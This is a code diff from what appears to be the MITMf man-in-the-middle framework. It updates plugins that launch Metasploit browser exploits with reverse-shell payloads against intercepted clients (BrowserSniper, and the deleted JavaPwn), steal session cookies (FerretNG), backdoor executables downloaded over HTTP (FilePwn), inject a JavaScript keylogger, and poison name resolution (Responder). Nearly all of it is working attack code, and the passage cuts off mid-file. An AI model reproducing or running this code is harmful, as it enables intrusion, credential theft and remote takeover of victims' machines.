+ self.msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary + self.msf.login('msf', self.rpcpass) + version = self.msf.call('core.version')['version'] + self.tree_info.append("Connected to Metasploit v{}".format(version)) + except Exception: + sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server") + + def startThread(self, options): + self.snipe() + + def onConfigChange(self): + self.initialize(self.options) + + def _genRandURL(self): #generates a random url for our exploits (urls are generated with a / at the beginning) + return "/" + ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, 5)) + + def _getRandPort(self): + return random.randint(1000, 65535) + + def _setupExploit(self, exploit, msfport): + + rand_url = self._genRandURL() + rand_port = self._getRandPort() + #generate the command string to send to the virtual console + #new line character very important as it simulates a user pressing enter + cmd = "use exploit/{}\n".format(exploit) + cmd += "set SRVPORT {}\n".format(msfport) + cmd += "set URIPATH {}\n".format(rand_url) + cmd += "set PAYLOAD generic/shell_reverse_tcp\n" + cmd += "set LHOST {}\n".format(self.msfip) + cmd += "set LPORT {}\n".format(rand_port) + cmd += "set ExitOnSession False\n" + cmd += "exploit -j\n" + + #Create a virtual console + console_id = self.msf.call('console.create')['id'] + + #write the cmd to the newly created console + self.msf.call('console.write', [console_id, cmd]) + + return (rand_url, rand_port) + + def _compat_system(self, os_config, brw_config): + os = self.output['useragent'][0].lower() + browser = self.output['useragent'][1].lower() + + if (os_config == 'any') and (brw_config == 'any'): + return True + + if (os_config == 'any') and (brw_config in browser): + return True + + if (os_config in os) and (brw_config == 'any'): + return True + + if (os_config in os) and (brw_config in browser): + return True + + return False + + def getExploits(self): + exploits = list() + vic_ip = self.output['ip'] + + #First get the client's info + java = None + if (self.output['java_installed'] == '1') and (self.output['java_version'] != 'null'): + java = self.output['java_version'] + + flash = None + if (self.output['flash_installed'] == '1') and (self.output['flash_version'] != 'null'): + flash = self.output['flash_version'] + + mitmf_logger.debug("{} [BrowserSniper] Java installed: {} | Flash installed: {}".format(vic_ip, java, flash)) + + for exploit, details in self.config['BrowserSniper'].iteritems(): + + if self._compat_system(details['OS'].lower(), details['Browser'].lower()): + + if details['Type'].lower() == 'browservuln': + exploits.append(exploit) + + elif details['Type'].lower() == 'pluginvuln': + + if details['Plugin'].lower() == 'java': + if (java is not None) and (java in details['PluginVersions']): + exploits.append(exploit) + + elif details['Plugin'].lower() == 'flash': + + if (flash is not None) and (java in details['PluginVersions']): + exploits.append(exploit) + + mitmf_logger.debug("{} [BrowserSniper] Compatible exploits: {}".format(vic_ip, exploits)) + return exploits + + def injectAndPoll(self, ip, inject_payload): #here we inject an iframe to trigger the exploit and check for resulting sessions + + #inject iframe + mitmf_logger.info("{} [BrowserSniper] Now injecting iframe to trigger exploits".format(ip)) + self.html_payload = inject_payload #temporarily changes the code that the Browserprofiler plugin injects + + #The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds + #Will also make sure the shell actually came from the box that we targeted + #probably a much cleaner way of doing this :/ + mitmf_logger.info('{} [BrowserSniper] Waiting for ze shellz, sit back and relax...'.format(ip)) + exit_loop = False + poll_n = 1 + while poll_n <= 30: + + if exit_loop is True: + break + + sessions = self.msf.call('session.list') + if sessions: + for k, v in sessions.iteritems(): + if ip in sessions[k]['tunnel_peer']: + mitmf_logger.info("{} [BrowserSniper] Client haz been 0wn3d! Enjoy!".format(ip)) + self.sploited_ips.append(ip) + self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped + exit_loop = True + break + + poll_n += 1 + sleep(2) + + if exit_loop is False: #We didn't get a shell :( + mitmf_logger.info("{} [BrowserSniper] Session not established after 60 seconds".format(ip)) + + self.html_payload = self.get_payload() # restart the BrowserProfiler plugin + + def snipe(self): + while True: + if self.output: + vic_ip = self.output['ip'] + msfport = self.config['MITMf']['Metasploit']['msfport'] + exploits = self.getExploits() + + if not exploits: + if vic_ip not in self.sploited_ips: + mitmf_logger.info('{} [BrowserSniper] Client not vulnerable to any exploits, adding to blacklist'.format(vic_ip)) + self.sploited_ips.append(vic_ip) + self.black_ips = self.sploited_ips + + elif exploits and (vic_ip not in self.sploited_ips): + mitmf_logger.info("{} [BrowserSniper] Client vulnerable to {} exploits".format(vic_ip, len(exploits))) + + inject_payload = '' + + for exploit in exploits: + + jobs = self.msf.call('job.list') #get running jobs + if jobs: + for pid, name in jobs.iteritems(): + info = self.msf.call('job.info', [pid]) + if (exploit in info['name']): + mitmf_logger.info('{} [BrowserSniper] {} already started'.format(vic_ip, exploit)) + url = info['uripath'] #get the url assigned to the exploit + inject_payload += "".format(self.msfip, msfport, url) + else: + url, port = self._setupExploit(exploit, msfport) + inject_payload += "".format(self.msfip, port, url) + else: + url, port = self._setupExploit(exploit, msfport) + inject_payload += "".format(self.msfip, port, url) + + self.injectAndPoll(vic_ip, inject_payload) + + sleep(1) diff --git a/plugins/FerretNG.py b/plugins/FerretNG.py index 9512e62..612dcbf 100644 --- a/plugins/FerretNG.py +++ b/plugins/FerretNG.py @@ -20,20 +20,20 @@ import logging +from datetime import datetime from plugins.plugin import Plugin from twisted.internet import reactor from twisted.web import http from twisted.internet import reactor -from core.ferretNG.FerretProxy import FerretProxy -from core.ferretNG.URLMonitor import URLMonitor +from core.ferretng.FerretProxy import FerretProxy +from core.ferretng.URLMonitor import URLMonitor mitmf_logger = logging.getLogger("mitmf") class FerretNG(Plugin): name = "Ferret-NG" - optname = "ferret" + optname = "ferretng" desc = "Captures cookies and starts a proxy that will feed them to connected clients" - tree_output = list() version = "0.1" has_opts = True @@ -42,14 +42,16 @@ class FerretNG(Plugin): self.options = options self.ferret_port = 10010 or options.ferret_port - self.tree_output.append("Listening on port {}".format(self.ferret_port)) + self.tree_info.append("Listening on port {}".format(self.ferret_port)) def clientRequest(self, request): if 'cookie' in request.headers: host = request.headers['host'] cookie = request.headers['cookie'] - mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(request.client.getClientIP(), host, cookie)) - URLMonitor.getInstance().cookies[host] = cookie + client = request.client.getClientIP() + if host not in URLMonitor.getInstance().cookies: + mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie)) + URLMonitor.getInstance().cookies[client] = {'host': host, 'cookie': cookie} def pluginReactor(self, StrippingProxy): FerretFactory = http.HTTPFactory(timeout=10) @@ -57,4 +59,11 @@ class FerretNG(Plugin): reactor.listenTCP(self.ferret_port, FerretFactory) def pluginOptions(self, options): - options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG on (default 10010)') + options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG proxy on (default 10010)') + options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from log file') + + def finish(self): + mitmf_logger.info("[Ferret-NG] Writing cookies to log file") + with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))) as cookie_file: + cookie_file.write(URLMonitor.getInstance().cookies) + cookie_file.close() \ No newline at end of file diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index 54bf08a..54ccad6 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -61,6 +61,7 @@ import logging import shutil import random import string +import threading import tarfile import multiprocessing @@ -78,8 +79,7 @@ class FilePwn(Plugin): name = "FilePwn" optname = "filepwn" desc = "Backdoor executables being sent over http using bdfactory" - implements = ["handleResponse"] - tree_output = ["BDFProxy v0.3.2 online"] + tree_info = ["BDFProxy v0.3.2 online"] version = "0.3" has_opts = False @@ -134,17 +134,23 @@ class FilePwn(Plugin): msf = Msfrpc({"host": rpcip}) #create an instance of msfrpc libarary msf.login('msf', rpcpass) version = msf.call('core.version')['version'] - self.tree_output.append("Connected to Metasploit v{}".format(version)) + self.tree_info.append("Connected to Metasploit v{}".format(version)) + + t = threading.Thread(name='setupMSF', target=self.setupMSF, args=(msf,)) + t.setDaemon(True) + t.start() except Exception: sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") + + def setupMSF(self, msf): - self.tree_output.append("Setting up Metasploit payload handlers") jobs = msf.call('job.list') for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]: cmd = "use exploit/multi/handler\n" cmd += "set payload {}\n".format(config["MSFPAYLOAD"]) cmd += "set LHOST {}\n".format(config["HOST"]) cmd += "set LPORT {}\n".format(config["PORT"]) + cmd += "set ExitOnSession False\n" cmd += "exploit -j\n" if jobs: @@ -589,46 +595,46 @@ class FilePwn(Plugin): self.patched.put(tempZipFile) return - def handleResponse(self, request, data): + def serverResponse(self, response, request, data): - content_header = request.client.headers['Content-Type'] - client_ip = request.client.getClientIP() + content_header = response.headers['Content-Type'] + client_ip = response.getClientIP() if content_header in self.zipMimeTypes: if self.bytes_have_format(data, 'zip'): - mitmf_logger.info("{} Detected supported zip file type!".format(client_ip)) + mitmf_logger.info("[FilePwn] {} Detected supported zip file type!".format(client_ip)) process = multiprocessing.Process(name='zip', target=self.zip, args=(data,)) process.daemon = True process.start() - process.join() + #process.join() bd_zip = self.patched.get() if bd_zip: - mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip)) - return {'request': request, 'data': bd_zip} + mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip)) + return {'response': response, 'request': request, 'data': bd_zip} else: for tartype in ['gz','bz','tar']: if self.bytes_have_format(data, tartype): - mitmf_logger.info("{} Detected supported tar file type!".format(client_ip)) + mitmf_logger.info("[FilePwn] {} Detected supported tar file type!".format(client_ip)) process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,)) process.daemon = True process.start() - process.join() + #process.join() bd_tar = self.patched.get() if bd_tar: - mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip)) - return {'request': request, 'data': bd_tar} + mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip)) + return {'response': response, 'request': request, 'data': bd_tar} elif content_header in self.binaryMimeTypes: for bintype in ['pe','elf','fatfile','machox64','machox86']: if self.bytes_have_format(data, bintype): - mitmf_logger.info("{} Detected supported binary type!".format(client_ip)) + mitmf_logger.info("[FilePwn] {} Detected supported binary type ({})!".format(client_ip, bintype)) fd, tmpFile = mkstemp() with open(tmpFile, 'w') as f: f.write(data) @@ -636,15 +642,14 @@ class FilePwn(Plugin): process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,)) process.daemon = True process.start() - process.join() + #process.join() patchb = self.patched.get() if patchb: bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read() os.remove('./backdoored/' + os.path.basename(tmpFile)) - mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip)) - return {'request': request, 'data': bd_binary} + mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip)) + return {'response': response, 'request': request, 'data': bd_binary} - else: - mitmf_logger.debug("{} File is not of supported Content-Type: {}".format(client_ip, content_header)) - return {'request': request, 'data': data} \ No newline at end of file + mitmf_logger.debug("[FilePwn] {} File is not of supported Content-Type: {}".format(client_ip, content_header)) + return {'response': response, 'request': request, 'data': data} \ No newline at end of file diff --git a/plugins/Inject.py b/plugins/Inject.py index f448b2b..d86b5ef 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -27,46 +27,45 @@ import argparse from core.utils import SystemConfig from plugins.plugin import Plugin from plugins.CacheKill import CacheKill -from core.sergioproxy.ProxyPlugins import ProxyPlugins mitmf_logger = logging.getLogger("mitmf") -class Inject(Plugin): +class Inject(CacheKill, Plugin): name = "Inject" optname = "inject" desc = "Inject arbitrary content into HTML content" - version = "0.2" + version = "0.3" has_opts = True def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.our_ip = SystemConfig.getIP(options.interface) - self.html_src = options.html_url - self.js_src = options.js_url - self.rate_limit = options.rate_limit - self.count_limit = options.count_limit - self.per_domain = options.per_domain - self.black_ips = options.black_ips - self.white_ips = options.white_ips - self.match_str = "" or options.match_str - self.html_payload = options.html_payload - self.ctable = {} - self.dtable = {} - self.count = 0 - self.mime = "text/html" + self.options = options + self.our_ip = SystemConfig.getIP(options.interface) + self.html_src = options.html_url + self.js_src = options.js_url + self.rate_limit = options.rate_limit + self.count_limit = options.count_limit + self.per_domain = options.per_domain + self.black_ips = options.black_ips.split(',') + self.white_ips = options.white_ips.split(',') + self.white_domains = options.white_domains.split(',') + self.black_domains = options.black_domains.split(',') + self.match_str = "" or options.match_str + self.html_payload = options.html_payload + self.ctable = {} + self.dtable = {} + self.count = 0 + self.mime = "text/html" if not options.preserve_cache: - cachekill = CacheKill() - cachekill.initialize(options) - ProxyPlugins.getInstance().addPlugin(cachekill) + CacheKill.initialize(self, options) def serverResponse(self, response, request, data): #We throttle to only inject once every two seconds per client #If you have MSF on another host, you may need to check prior to injection #print "http://" + response.client.getRequestHostname() + response.uri ip, hn, mime = self._get_req_info(response) - if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and (hn not in self.our_ip): + if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.our_ip): if (not self.js_src == self.html_src is not None or not self.html_payload == ""): data = self._insert_html(data, post=[(self.match_str, self._get_payload())]) self.ctable[ip] = time.time() @@ -81,20 +80,37 @@ class Inject(Plugin): def _ip_filter(self, ip): - if self.white_ips is not None: - if ip in self.white_ips.split(','): + if self.white_ips[0] != '': + if ip in self.white_ips: return True else: return False - if self.black_ips is not None: - if ip in self.black_ips.split(','): + if self.black_ips[0] != '': + if ip in self.black_ips: return False else: return True return True + def _host_filter(self, host): + + if self.white_domains[0] != '': + if host in self.white_domains: + return True + else: + return False + + if self.black_domains[0] != '': + if host in self.black_domains: + return False + else: + return True + + return True + + def _should_inject(self, ip, hn, mime): if self.count_limit == self.rate_limit is None and not self.per_domain: @@ -153,12 +169,14 @@ class Inject(Plugin): def pluginOptions(self, options): options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.") options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.") - options.add_argument("--html-payload", type=str, default=None, help="String you would like to inject.") + options.add_argument("--html-payload", type=str, default='', help="String you would like to inject.") options.add_argument("--match-str", type=str, default=None, help="String you would like to match and place your payload before. ( by default)") options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.") group = options.add_mutually_exclusive_group(required=False) group.add_argument("--per-domain", action="store_true", default=False, help="Inject once per domain per client.") group.add_argument("--rate-limit", type=float, default=None, help="Inject once every RATE_LIMIT seconds per client.") group.add_argument("--count-limit", type=int, default=None, help="Inject only COUNT_LIMIT times per client.") - group.add_argument("--white-ips", type=str, default=None, help="Inject content ONLY for these ips") - group.add_argument("--black-ips", type=str, default=None, help="DO NOT inject content for these ips") + group.add_argument("--white-ips", metavar='IPS', type=str, default='', help="Inject content ONLY for these ips (comma seperated)") + group.add_argument("--black-ips", metavar='IPS', type=str, default='', help="DO NOT inject content for these ips (comma seperated)") + group.add_argument("--white-domains", metavar='DOMAINS', type=str, default='', help="Inject content ONLY for these domains (comma seperated)") + group.add_argument("--black-domains", metavar='DOMAINS', type=str, default='', help="DO NOT inject content for these domains (comma seperated)") diff --git a/plugins/JavaPwn.py b/plugins/JavaPwn.py deleted file mode 100644 index e563208..0000000 --- a/plugins/JavaPwn.py +++ /dev/null @@ -1,231 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import string -import random -import threading -import sys -import logging - -from time import sleep -from core.msfrpc import Msfrpc -from core.utils import SystemConfig -from plugins.plugin import Plugin -from plugins.BrowserProfiler import BrowserProfiler - -mitmf_logger = logging.getLogger("mitmf") - -class JavaPwn(Plugin): - name = "JavaPwn" - optname = "javapwn" - desc = "Performs drive-by attacks on clients with out-of-date java browser plugins" - tree_output = [] - version = "0.3" - has_opts = False - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.msfip = SystemConfig.getIP(options.interface) - - try: - msfcfg = options.configfile['MITMf']['Metasploit'] - except Exception, e: - sys.exit("[-] Error parsing Metasploit options in config file : {}".format(e)) - - try: - self.javacfg = options.configfile['JavaPwn'] - except Exception, e: - sys.exit("[-] Error parsing config for JavaPwn: {}".format(e)) - - self.msfport = msfcfg['msfport'] - self.rpcip = msfcfg['rpcip'] - self.rpcpass = msfcfg['rpcpass'] - - #Initialize the BrowserProfiler plugin - BrowserProfiler.initialize(self, options) - self.black_ips = [] - - try: - self.msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary - self.msf.login('msf', self.rpcpass) - version = self.msf.call('core.version')['version'] - self.tree_output.append("Connected to Metasploit v{}".format(version)) - except Exception: - sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") - - def onConfigChange(self): - self.initialize(self.options) - - def startThread(self, options): - self.pwn() - - def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning) - return "/" + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(5)) - - def get_exploit(self, java_version): - exploits = [] - - client_vstring = java_version[:-len(java_version.split('.')[3])-1] - client_uversion = int(java_version.split('.')[3]) - - for ver in self.javacfg['Multi'].iteritems(): - if type(ver[1]) is list: - for list_vers in ver[1]: - - version_string = list_vers[:-len(list_vers.split('.')[3])-1] - update_version = int(list_vers.split('.')[3]) - - if ('*' in version_string[:1]) and (client_vstring == version_string[1:]): - if client_uversion == update_version: - exploits.append(ver[0]) - elif (client_vstring == version_string): - if client_uversion <= update_version: - exploits.append(ver[0]) - else: - version_string = ver[1][:-len(ver[1].split('.')[3])-1] - update_version = int(ver[1].split('.')[3]) - - if ('*' in version_string[:1]) and (client_vstring == version_string[1:]): - if client_uversion == update_version: - exploits.append(ver[0]) - elif client_vstring == version_string: - if client_uversion <= update_version: - exploits.append(ver[0]) - - return exploits - - - def injectWait(self, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions - #inject iframe - mitmf_logger.info("{} >> now injecting iframe to trigger exploit".format(client_ip)) - self.html_payload = "".format(self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects - - mitmf_logger.info('{} >> waiting for ze shellz, Please wait...'.format(client_ip)) - - exit = False - i = 1 - while i <= 30: #wait max 60 seconds for a new shell - if exit: - break - shell = self.msf.call('session.list') #poll metasploit every 2 seconds for new sessions - if len(shell) > 0: - for k, v in shell.iteritems(): - if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted - mitmf_logger.info("{} >> Got shell!".format(client_ip)) - self.sploited_ips.append(client_ip) #target successfuly owned :) - self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped - exit = True - break - sleep(2) - i += 1 - - if exit is False: #We didn't get a shell :( - mitmf_logger.info("{} >> session not established after 30 seconds".format(client_ip)) - - self.html_payload = self.get_payload() # restart the BrowserProfiler plugin - - def send_command(self, cmd, vic_ip): - try: - mitmf_logger.info("{} >> sending commands to metasploit".format(vic_ip)) - - #Create a virtual console - console_id = self.msf.call('console.create')['id'] - - #write the cmd to the newly created console - self.msf.call('console.write', [console_id, cmd]) - - mitmf_logger.info("{} >> commands sent succesfully".format(vic_ip)) - except Exception, e: - mitmf_logger.info('{} >> Error accured while interacting with metasploit: {}:{}'.format(vic_ip, Exception, e)) - - def pwn(self): - self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit - while True: - if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled - - brwprofile = self.dic_output #self.dic_output is the output of the BrowserProfiler plugin in a dictionary format - - if brwprofile['ip'] not in self.sploited_ips: #continue only if the ip has not been already exploited - - vic_ip = brwprofile['ip'] - - mitmf_logger.info("{} >> client has java version {} installed! Proceeding...".format(vic_ip, brwprofile['java_version'])) - mitmf_logger.info("{} >> Choosing exploit based on version string".format(vic_ip)) - - exploits = self.get_exploit(brwprofile['java_version']) # get correct exploit strings defined in javapwn.cfg - - if exploits: - - if len(exploits) > 1: - mitmf_logger.info("{} >> client is vulnerable to {} exploits!".format(vic_ip, len(exploits))) - exploit = random.choice(exploits) - mitmf_logger.info("{} >> choosing {}".format(vic_ip, exploit)) - else: - mitmf_logger.info("{} >> client is vulnerable to {}!".format(vic_ip, exploits[0])) - exploit = exploits[0] - - #here we check to see if we already set up the exploit to avoid creating new jobs for no reason - jobs = self.msf.call('job.list') #get running jobs - if len(jobs) > 0: - for k, v in jobs.iteritems(): - info = self.msf.call('job.info', [k]) - if exploit in info['name']: - mitmf_logger.info('{} >> {} already started'.format(vic_ip, exploit)) - url = info['uripath'] #get the url assigned to the exploit - self.injectWait(self.msf, url, vic_ip) - - else: #here we setup the exploit - rand_port = random.randint(1000, 65535) #generate a random port for the payload listener - rand_url = self.rand_url() - #generate the command string to send to the virtual console - #new line character very important as it simulates a user pressing enter - cmd = "use exploit/{}\n".format(exploit) - cmd += "set SRVPORT {}\n".format(self.msfport) - cmd += "set URIPATH {}\n".format(rand_url) - cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter and its multi-platform - cmd += "set LHOST {}\n".format(self.msfip) - cmd += "set LPORT {}\n".format(rand_port) - cmd += "exploit -j\n" - - mitmf_logger.debug("command string:\n{}".format(cmd)) - - self.send_command(cmd, vic_ip) - - self.injectWait(rand_url, vic_ip) - else: - #this might be removed in the future since newer versions of Java break the signed applet attack (unless you have a valid cert) - mitmf_logger.info("{} >> client is not vulnerable to any java exploit".format(vic_ip)) - mitmf_logger.info("{} >> falling back to the signed applet attack".format(vic_ip)) - - rand_url = self.rand_url() - rand_port = random.randint(1000, 65535) - - cmd = "use exploit/multi/browser/java_signed_applet\n" - cmd += "set SRVPORT {}\n".format(self.msfport) - cmd += "set URIPATH {}\n".format(rand_url) - cmd += "set PAYLOAD generic/shell_reverse_tcp\n" - cmd += "set LHOST {}\n".format(self.msfip) - cmd += "set LPORT {}\n".format(rand_port) - cmd += "exploit -j\n" - - self.send_command(cmd, vic_ip) - self.injectWait(rand_url, vic_ip) - sleep(1) diff --git a/plugins/JsKeylogger.py b/plugins/JsKeylogger.py index 2dceae8..892cc69 100644 --- a/plugins/JsKeylogger.py +++ b/plugins/JsKeylogger.py @@ -18,151 +18,54 @@ # USA # import logging +import re +import random +import string from plugins.plugin import Plugin from plugins.Inject import Inject -from core.sergioproxy.ProxyPlugins import ProxyPlugins mitmf_logger = logging.getLogger("mitmf") -class jskeylogger(Plugin): - name = "Javascript Keylogger" +class jskeylogger(Inject, Plugin): + name = "JSKeylogger" optname = "jskeylogger" desc = "Injects a javascript keylogger into clients webpages" version = "0.2" has_opts = False def initialize(self, options): - inject = Inject() - inject.initialize(options) - inject.html_payload = self.msf_keylogger() - ProxyPlugins.getInstance().addPlugin(inject) + Inject.initialize(self, options) + self.html_payload = self.msf_keylogger() def clientRequest(self, request): - #Handle the plugin output if 'keylog' in request.uri: request.printPostData = False - client_ip = request.client.getClientIP() - raw_keys = request.postData.split("&&")[0] + input_field = request.postData.split("&&")[1] + keys = raw_keys.split(",") - del keys[0]; del(keys[len(keys)-1]) + if keys: + del keys[0]; del(keys[len(keys)-1]) - input_field = request.postData.split("&&")[1] + nice = '' + for n in keys: + if n == '9': + nice += "" + elif n == '8': + nice = nice[:-1] + elif n == '13': + nice = '' + else: + try: + nice += n.decode('hex') + except: + mitmf_logger.error("{} [JSKeylogger] Error decoding char: {}".format(request.client.getClientIP(), n)) - nice = '' - for n in keys: - if n == '9': - nice += "" - elif n == '8': - nice = nice.replace(nice[-1:], "") - elif n == '13': - nice = '' - else: - try: - nice += n.decode('hex') - except: - mitmf_logger.error("{} [{}] Error decoding char: {}".format(client_ip, self.name, n)) - - mitmf_logger.info("{} [{}] Host: {} Field: {} Keys: {}".format(client_ip, self.name, request.headers['host'], input_field, nice)) + mitmf_logger.info("{} [JSKeylogger] Host: {} | Field: {} | Keys: {}".format(request.client.getClientIP(), request.headers['host'], input_field, nice)) def msf_keylogger(self): - #Stolen from the Metasploit module http_javascript_keylogger, modified to work in Android and IOS + keylogger = open("./core/javascript/msfkeylogger.js", "r").read() - payload = """""" - - return payload \ No newline at end of file + return '' diff --git a/plugins/Responder.py b/plugins/Responder.py index 9f72c01..e49bcfe 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -34,7 +34,7 @@ class Responder(Plugin): name = "Responder" optname = "responder" desc = "Poison LLMNR, NBT-NS and MDNS requests" - tree_output = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] + tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] version = "0.2" has_opts = True @@ -88,7 +88,32 @@ class Responder(Plugin): LDAPServer().start(smbChal) if options.analyze: - self.tree_output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") + self.tree_info.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") + self.IsICMPRedirectPlausible(self.ourip) + + def IsICMPRedirectPlausible(self, IP): + result = [] + dnsip = [] + for line in file('/etc/resolv.conf', 'r'): + ip = line.split() + if len(ip) < 2: + continue + if ip[0] == 'nameserver': + dnsip.extend(ip[1:]) + + for x in dnsip: + if x !="127.0.0.1" and self.IsOnTheSameSubnet(x,IP) == False: + self.tree_info.append("You can ICMP Redirect on this network. This workstation ({}) is not on the same subnet than the DNS server ({})".format(IP, x)) + else: + pass + + def IsOnTheSameSubnet(self, ip, net): + net = net+'/24' + ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) + netstr, bits = net.split('/') + netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) + mask = (0xffffffff << (32 - int(bits))) & 0xffffffff + return (ipaddr & mask) == (netaddr & mask) def pluginReactor(self, strippingFactory): reactor.listenTCP(3141, strippingFactory) @@ -100,5 +125,6 @@ class Responder(Plugin): options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query") options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier") options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server") + # Removed these options until I find a better way of implementing them #options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") #options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") diff --git a/plugins/SMBAuth.py b/plugins/SMBAuth.py index ad17a3e..e6657fc 100644 --- a/plugins/SMBAuth.py +++ b/plugins/SMBAuth.py @@ -21,9 +21,8 @@ from core.utils import SystemConfig from plugins.plugin import Plugin from plugins.Inject import Inject -from core.sergioproxy.ProxyPlugins import ProxyPlugins -class SMBAuth(Plugin): +class SMBAuth(Inject, Plugin): name = "SMBAuth" optname = "smbauth" desc = "Evoke SMB challenge-response auth attempts" @@ -33,10 +32,8 @@ class SMBAuth(Plugin): def initialize(self, options): self.target_ip = SystemConfig.getIP(options.interface) - inject = Inject() - inject.initialize(options) - inject.html_payload = self._get_data() - ProxyPlugins.getInstance().addPlugin(inject) + Inject.initialize(options) + self.html_payload = self._get_data() def _get_data(self): return ''\ diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py index 887a6f0..d3753ac 100644 --- a/plugins/SSLstrip+.py +++ b/plugins/SSLstrip+.py @@ -27,12 +27,12 @@ from core.sslstrip.URLMonitor import URLMonitor from core.dnschef.DNSchef import DNSChef class HSTSbypass(Plugin): - name = 'SSLstrip+' - optname = 'hsts' - desc = 'Enables SSLstrip+ for partial HSTS bypass' - version = "0.4" - tree_output = ["SSLstrip+ by Leonardo Nve running"] - has_opts = False + name = 'SSLstrip+' + optname = 'hsts' + desc = 'Enables SSLstrip+ for partial HSTS bypass' + version = "0.4" + tree_info = ["SSLstrip+ by Leonardo Nve running"] + has_opts = False def initialize(self, options): self.options = options diff --git a/plugins/Screenshotter.py b/plugins/Screenshotter.py new file mode 100644 index 0000000..23cb23e --- /dev/null +++ b/plugins/Screenshotter.py @@ -0,0 +1,53 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +import base64 + +from datetime import datetime +from plugins.Inject import Inject +from plugins.plugin import Plugin + +mitmf_logger = logging.getLogger('mitmf') + +class ScreenShotter(Inject, Plugin): + name = 'ScreenShotter' + optname = 'screen' + desc = 